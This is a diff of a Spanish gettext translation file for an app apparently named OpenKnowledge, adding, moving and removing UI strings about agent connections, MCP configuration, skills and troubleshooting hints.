-330,6 +330,12 @@ msgstr "{0} permite que {1} actúe sin preguntar"msgid "{0} needs {1}"msgstr "{0} necesita {1}"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} necesita {1}. Desactiva ambos o mantén ambos activados."+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "hace {0} años"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (conflicto)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} te pide aprobar cada herramienta de OpenKnowledge la primera vez que se usa."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "{agent} recibe las herramientas de OpenKnowledge cada vez que OpenKnowledge lo inicia; no se escribe nada en su configuración."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} solo carga extensiones de proyecto en carpetas en las que has confiado; confía en esta carpeta en {agent} si las herramientas no aparecen."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} lee la configuración MCP del espacio de trabajo que OpenKnowledge escribe para {sourceAgent}; quitarla para uno la quita para ambos."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "El almacén central de habilidades de {agent} aún no existe; inicia {agent} una vez para que lo cree y vuelve a intentarlo."+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} no pudo iniciar una conversación."@@ -520,6 +551,10 @@ msgstr "{boldName} forma parte del complemento <0>{0}</0>{pluginVersion}: es demsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} está fuera de este proyecto, en <0>{source}</0>: los agentes que se ejecutan aquí no pueden cargarlo. Cópialo aquí para editarlo."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# cambio} many {# cambios} other {# cambios}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, one {carácter} many {caracteres} other {caracteres}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, one {hace # día} many {hace # días} other {hace # díasmsgid "{days}d ago"msgstr "hace {days} d"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} necesita {prerequisite}, y OpenKnowledge no puede reemplazar esa entrada de forma segura en el formato de este archivo."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} necesita {prerequisite}, y OpenKnowledge no encontró este agente en este equipo."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} necesita {prerequisite}, y OpenKnowledge no reconoce esa entrada. Marca {prerequisite} para sustituirla y vuelve a guardar."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} necesita {prerequisite}, y este agente aún no tiene un archivo de ese tipo en este equipo. Ábrelo una vez y vuelve a intentarlo."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} necesita {prerequisite}, que OpenKnowledge no puede configurar por ti. Su guía de configuración tiene los pasos manuales."+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — error de renderizado, el código se puede editar abajo"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) no está instalado ni en tu PATH."#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "CLI de {displayName}"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "CLI de {displayName}, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1064,10 +1119,6 @@ msgstr "<{componentName}> no es un componente conocido. Copia el código para usmsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "No se pudo renderizar <{descriptorLabel}> (probablemente por una propiedad incorrecta). Copia el código para ver qué falló o elimina el bloque."-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> y <1>~/.ok/env.sh</1> se conservan en cualquier caso: la aplicación siempre los mantiene."-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>Espejo: elige una fuente.</0> Define <1>src</1> + <2>anchor</2> desde el panel de propiedades para apuntar a un <3><MirrorSource></3> de otro sitio."@@ -1493,6 +1544,14 @@ msgstr "Añadir elemento a {keyName}"msgid "Add link"msgstr "Añadir enlace"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "Añadir MCP y habilidad"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "Añadir MCP y habilidad para {rowLabel}"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "Añade a la búsqueda una clasificación por significado para que aparezcan páginas relacionadas conceptualmente aunque no compartan palabras clave."@@ -1531,10 +1590,9 @@ msgstr "Añadir pestaña"msgid "Add tag"msgstr "Añadir etiqueta"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "Añade el comando <0>ok</0> a tu terminal"@@ -1568,16 +1626,15 @@ msgstr "Añade tus comentarios a este mensaje"msgid "Added"msgstr "Añadido"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "Añade una entrada MCP de OpenKnowledge global para este agente."+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "Añade un bloque gestionado a"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "Añade un bloque gestionado a {0}"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1588,6 +1645,20 @@ msgstr "Añade una entrada MCP de OpenKnowledge y la habilidad del proyecto a <0msgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "Añade una entrada MCP de OpenKnowledge a <0>{connectToolList}</0> para que tus agentes puedan leer y editar tus archivos."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "Añade una entrada MCP de OpenKnowledge a la configuración de agente de este proyecto."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "Añade OpenKnowledge a la configuración MCP propia de {agent}, para que todos los proyectos de este equipo sean accesibles."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "Añade OpenKnowledge a la configuración MCP que {agent} lee en este proyecto, para que pueda leer, buscar y editar estos documentos."+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "Añade telemetría, estado del servidor e información de ejecución cuando está disponible. Las credenciales siempre se eliminan; los nombres de documento, si se incluyen, aparecen en texto plano (sin ocultar)."@@ -1640,6 +1711,11 @@ msgstr "Chats de agentes"msgid "Agent configuration file"msgstr "Archivo de configuración del agente"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "Conexiones de agentes"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "Modo agente"@@ -1661,23 +1737,14 @@ msgid "Agent transcript"msgstr "Transcripción del agente"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "Agentes"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "La gestión de herramientas de IA solo está disponible en la aplicación de escritorio de OpenKnowledge."--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "Herramientas de IA"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "Herramientas de IA y CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "Alinear al centro"@@ -2397,14 +2464,6 @@ msgstr "Los avisos destacan la información clave."msgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "No se pueden anidar proyectos. Ya existe un proyecto de OpenKnowledge en <0>{rootPath}</0>. Elige una ubicación fuera de él o abre ese proyecto."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "No se puede editar con seguridad la configuración de este proyecto"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "No se puede editar con seguridad la configuración de esta herramienta"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "No se puede compartir esta ruta."@@ -2433,6 +2492,7 @@ msgstr "No se puede compartir esta ruta."#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2659,6 +2719,15 @@ msgstr "Elegir icono"msgid "Choose what a new tab starts"msgstr "Elige qué inicia una pestaña nueva"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "Elige qué configura OpenKnowledge para {0}."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "Elige qué configura OpenKnowledge."+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "Elige a dónde enviar estos comentarios"@@ -2671,9 +2740,9 @@ msgstr "Elegir a dónde enviar este mensaje"msgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "Elige si la configuración de OpenKnowledge de este proyecto, incluidas sus conexiones con herramientas de IA, se guarda con el proyecto para que tus compañeros también la reciban, o se queda solo en tu equipo."-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "Elige qué agentes aparecen en los menús de agentes de la aplicación, como Ask AI, Open with AI y el botón + de nuevo chat. Desactiva un agente para ocultarlo de todos ellos."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "Elige qué agentes aparecen en los menús de agentes de la aplicación y configúralos para que puedan leer y actualizar tus documentos."#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3147,7 +3216,6 @@ msgstr "Advertencias de configuración"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3212,10 +3280,6 @@ msgstr "Conecta GitHub para continuar."msgid "Connect OpenKnowledge to other tools you use."msgstr "Conecta OpenKnowledge con las demás herramientas que usas."-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "Conecta a este proyecto concreto las herramientas de IA que usas. Estos archivos viven en la carpeta del proyecto, así que quien lo abra tendrá la misma configuración."-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3244,6 +3308,10 @@ msgstr "Conecta tus herramientas de IA"msgid "Connect your AI tools to this project"msgstr "Conectar tus herramientas de IA a este proyecto"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "Conectado"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3292,10 +3360,18 @@ msgstr "Error de conexión: inténtalo de nuevo"msgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "Conexión perdida: deja esta pestaña abierta, tus ediciones se sincronizarán al reconectar"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "Se conectará automáticamente la próxima vez que abras este proyecto en una sesión de Codex de confianza."+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "Se conectará automáticamente la próxima vez que abras este proyecto en una sesión de {agent} de confianza."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "Conecta el agente con OpenKnowledge en todos los proyectos de este equipo."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "Conecta el agente con este proyecto para que pueda leer, buscar y editar tus documentos."#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3663,9 +3739,8 @@ msgid "Couldn't add that comment."msgstr "No se pudo añadir ese comentario."#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "No se pudo aplicar el cambio: {0}"@@ -3673,6 +3748,10 @@ msgstr "No se pudo aplicar el cambio: {0}"msgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "No se pudo comprobar si {filePath} sigue en conflicto: reintentando."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "No se pudo comprobar qué herramientas están conectadas."+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "No se pudo borrar la clave; inténtalo de nuevo."@@ -3948,7 +4027,7 @@ msgstr "No se pudo contactar con el servidor de colaboración: {errorDetail}. Prmsgid "Couldn't reach GitHub. Try again?"msgstr "No se pudo contactar con GitHub. ¿Reintentar?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "No se pudo contactar con el registro de agentes."@@ -4401,11 +4480,6 @@ msgstr "Endpoint personalizado"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "HTML personalizado con panel de vista previa en vivo (iframe aislado)."-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "Entrada open-knowledge personalizada, no gestionada por OpenKnowledge"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "Ruta de la carpeta de habilidades personalizada"@@ -4776,6 +4850,10 @@ msgstr "Desconectar"msgid "Disconnecting"msgstr "Desconectando"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "Las habilidades de descubrimiento se administran juntas para todas las herramientas de IA. Instala esta desde Ajustes → Estudio de habilidades."+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5260,17 +5338,17 @@ msgstr "Contenido inicial vacío"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "Activar {0}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "Activar la CLI de {displayName}"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "Activar {displayName} Desktop"@@ -5416,11 +5494,6 @@ msgstr "Introduce una URL válida, por ejemplo https://notes.example.com"msgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "Introduce el origen público que sirve tu túnel, por ejemplo https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "Entrada"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "Error"@@ -5563,7 +5636,7 @@ msgstr "Exponer fija un puerto para que el destino del túnel permanezca estable#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "Aplicaciones externas"@@ -5947,8 +6020,6 @@ msgstr "Campos"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6356,9 +6427,9 @@ msgstr "GitHub, una URL de git o una ruta local."msgid "Give it a name before editing its colors."msgstr "Ponle un nombre antes de editar sus colores."-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "Da a las herramientas de IA que usas acceso para leer y actualizar tus proyectos. Al marcar una casilla se configura al momento; al desmarcarla se quita."+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "Da al agente instrucciones para trabajar con tus documentos y mantiene sus ediciones atribuidas."#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6370,6 +6441,10 @@ msgstr "Patrones glob a los que se aplica este esquema"msgid "Global"msgstr "Global"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "Servidor MCP global"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "Global fuera de los campos de texto"@@ -6509,6 +6584,7 @@ msgstr "Ayuda"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "Ayuda a tus agentes a descubrir y usar OpenKnowledge en cualquier proyecto."@@ -6718,15 +6794,13 @@ msgstr "Con qué frecuencia este equipo trae cambios de tu remoto."msgid "How to push manually"msgstr "Cómo hacer push manualmente"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "Cómo configurarlo"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "Cómo configurar {0} (se abre en el navegador)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "Cómo configurar {rowLabel}"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6785,6 +6859,21 @@ msgstr "ID: {0}"msgid "Identical in both — {pick} still reads them."msgstr "Idénticas en ambas: {pick} las sigue leyendo."+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "Si {agent} no muestra las herramientas de OpenKnowledge, comprueba que la ruta de su configuración MCP en sus ajustes coincida con el archivo que escribió OpenKnowledge."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "Si {agent} no muestra las herramientas de OpenKnowledge, ejecútalo en este proyecto y aprueba el servidor de OpenKnowledge una vez."++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "Si {agent} no muestra las herramientas de OpenKnowledge, activa el servidor en Settings → Tools & MCP; {agent} deja apagados los servidores de proyecto hasta que lo hagas."+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "Si llega una actualización de algo que estás editando, tú eliges qué versión conservar, como en un conflicto de fusión."@@ -6888,7 +6977,7 @@ msgstr "En un documento índice: las entradas se encuentran bajo un título de s#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "En la aplicación"@@ -7075,6 +7164,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "Inserta, elimina, mueve, copia y sangra líneas del editor de código con el mapa de teclas por defecto de CodeMirror."#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7096,6 +7186,10 @@ msgstr "Instalar {0}"msgid "Install {brand} →"msgstr "Instalar {brand} →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "Instalar {rowLabel}"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "instala primero una habilidad aquí"@@ -7172,22 +7266,12 @@ msgstr "Instalar la CLI de gh"msgid "Install this skill"msgstr "Instalar esta habilidad"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "Instalado"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "Instalado: ok está disponible en terminales externas. Al desmarcarlo se quita; la terminal integrada y las herramientas de IA de OpenKnowledge siguen funcionando."--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "Instalado — ok está disponible en terminales externas. Al desmarcarlo, se elimina; tus herramientas de IA seguirán funcionando."-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7245,6 +7329,14 @@ msgstr "Se instala para todos tus proyectos"msgid "Installs into this project"msgstr "Se instala en este proyecto"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "Instala la habilidad de descubrimiento de OpenKnowledge para este agente."++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "Instala la habilidad de proyecto de OpenKnowledge para este agente."+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "Instala la skill en {path} — la primera ubicación guarda su propia copia"@@ -7643,7 +7735,7 @@ msgstr "Cargando {fileName}"msgid "Loading agent activity"msgstr "Cargando la actividad del agente"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "Cargando agentes…"@@ -7866,11 +7958,16 @@ msgstr "Respuesta de listPacks con formato incorrecto"msgid "Malformed plan response"msgstr "Respuesta de plan con formato incorrecto"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "Gestionar"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "Gestionar {rowLabel}"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7884,13 +7981,10 @@ msgstr "Gestionar las carpetas de habilidades"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "Gestiona la cuenta de GitHub que usa OpenKnowledge para explorar y sincronizar tus repositorios."-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "La gestión de herramientas de IA no está disponible en esta compilación."--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "La gestión de herramientas de IA del proyecto no está disponible en esta compilación."+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "La gestión de conexiones de agentes no está disponible en esta versión."#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7946,12 +8040,9 @@ msgstr "Ya hay el máximo de agentes en marcha"msgid "MCP auto-repair failed"msgstr "Falló la reparación automática de MCP"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "Conexiones MCP"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "Falló la reparación automática de MCP para {failures}"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8068,6 +8159,10 @@ msgstr "Modifica el destino del enlace, el ancla y el texto mostrado."msgid "More"msgstr "Más"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "Más información"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "Se bloquearon más solicitudes."@@ -8537,7 +8632,7 @@ msgstr "Todavía no hay ningún agente configurado: elige uno en el menú de envmsgid "no agents — saved, not installed anywhere"msgstr "sin agentes — guardadas, no instaladas en ningún sitio"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "No hay agentes disponibles."@@ -8546,7 +8641,7 @@ msgstr "No hay agentes disponibles."msgid "No agents enabled"msgstr "No hay agentes activados"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "Ningún agente coincide con tu búsqueda."@@ -8910,11 +9005,12 @@ msgstr "Sin responder"msgid "Not attached to desktop bridge"msgstr "Sin conexión con el puente de escritorio"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "No disponible en esta plataforma"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr "Sin conexión"@@ -8922,6 +9018,10 @@ msgstr "Sin conexión"msgid "Not connected to GitHub."msgstr "No hay conexión con GitHub."+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Not detected on this machine"+msgstr "No detectado en este equipo"+#: src/components/FeedbackForm.tsxmsgid "Not great"msgstr "No muy bien"@@ -8932,7 +9032,7 @@ msgstr "No está en la barra lateral"#: src/components/CommandPalette.tsx#: src/components/handoff/OpenInAgentMenuItem.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not installed"msgstr "No instalado"@@ -9065,15 +9165,15 @@ msgstr "Sobre el texto seleccionado en <0>{address}</0>"msgid "On the root index, okf_version is written as a quoted string like \"0.2\". Unquoted, YAML reads it as a number and 0.10 silently becomes 0.1."msgstr "En el índice raíz, okf_version se escribe como una cadena entrecomillada como \"0.2\". Sin comillas, YAML lo lee como un número y 0.10 silenciosamente se convierte en 0.1."-#. Next 